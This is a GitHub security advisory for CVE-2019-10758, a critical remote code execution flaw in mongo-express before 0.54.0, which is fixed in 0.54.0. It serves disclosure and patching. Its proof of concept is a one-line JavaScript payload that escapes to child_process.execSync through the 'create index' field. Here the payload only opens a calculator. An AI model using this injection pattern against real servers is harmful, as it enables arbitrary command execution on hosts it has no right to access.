GitHub Advisoryadvisory · npm

GHSA-h47j-hc6x-h3qq Remote Code Execution Vulnerability in NPM mongo-express

CRITICAL Published 2019-12-30 Modified 2025-10-22 Official page ↗
Aliases
CVE-2019-10758
Ecosystem
npm
Packages
mongo-express
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H
Weaknesses
CWE-78, CWE-94
Reviewed
2019-12-30

Affected packages

• npm mongo-express: < 0.54.0 → fixed in 0.54.0

Description

Impact Remote code execution on the host machine by any authenticated user. Proof Of Concept Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator: ```javascript this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator') ``` Patches Users should upgrade to version `0.54.0` Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For more information If you have any questions or comments about this advisory: • Open an issue in example link to repo • Email us at example email address Thanks @JLLeitschuh for finding and reporting this vulnerability This vulnerability has been exploited in the wild.

Related

Alias · CVE (1)

  • CVE-2019-10758 mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. vulnerability

Weakness · CWE (2)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness
  • CWE-94 Improper Control of Generation of Code weakness

References